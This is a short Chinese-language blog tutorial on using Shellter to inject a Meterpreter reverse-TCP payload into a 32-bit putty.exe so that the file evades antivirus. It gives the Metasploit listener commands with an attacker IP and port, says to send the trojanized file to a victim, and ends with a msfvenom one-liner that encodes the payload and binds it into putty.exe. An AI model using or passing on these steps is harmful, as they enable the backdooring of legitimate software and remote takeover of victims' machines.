Shellter工具

2025-8-15 82 8/15

Shellter工具

介绍

Shellter 是面向 Windows x86 PE 可执行文件的“动态注入/回植”工具。目的是把有效载荷( shellcode)嵌入到现有的合法程序中,进行重新编码,以绕过防病毒(AV)软件。

下载

Download | Shellter

使用

选择模式:

选择模式为“a”代表自动

需要选择一个可执行文件,并将其复制到Shellter文件夹中。

这里将putty.exe文件复制到Shellter文件夹,并将其与shellter.exe文件绑定

(由于Shellter仅支持32位PE文件。若注入64位文件就会直接报错。所以这里的putty.exe也是32位的)

Shellter工具

然后可以看到DisASM.dll已经成功创建,并询问是否启用隐形模式。

输入'y'表示同意

Shellter工具

选择Payload有效负载

Shellter会询问是想使用列出的有效载荷还是自定义有效载荷

输入'L'使用列出的Payload,并且选择第一个payload(Meterpreter_Reverse_TCP

Shellter工具

接着设置LHOST与LPORT

LHOST 设置为 192.168.1.133[攻击者IP]LPORT 设置为 4444

Shellter工具

'a'模式下生成的新文件会覆盖原文件

打开Msf并开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.133
set lport 4444
exploit

然后将putty.exe文件发送到受害者机器,受害者机器一旦运行putty.exe我们就会收到shell

Shellter工具

但是当受害者关闭这个putty.exe的时候会话就会直接断掉因为putty.exe是个前台交互进程,关闭窗口相当于进程终止,不过这个问题我们可以通过改善payload解决,即自定义一个自带进程迁移的payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe -k -x putty.exe -a x86 --platform windows -b "\x00"
- THE END -
Tag:
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论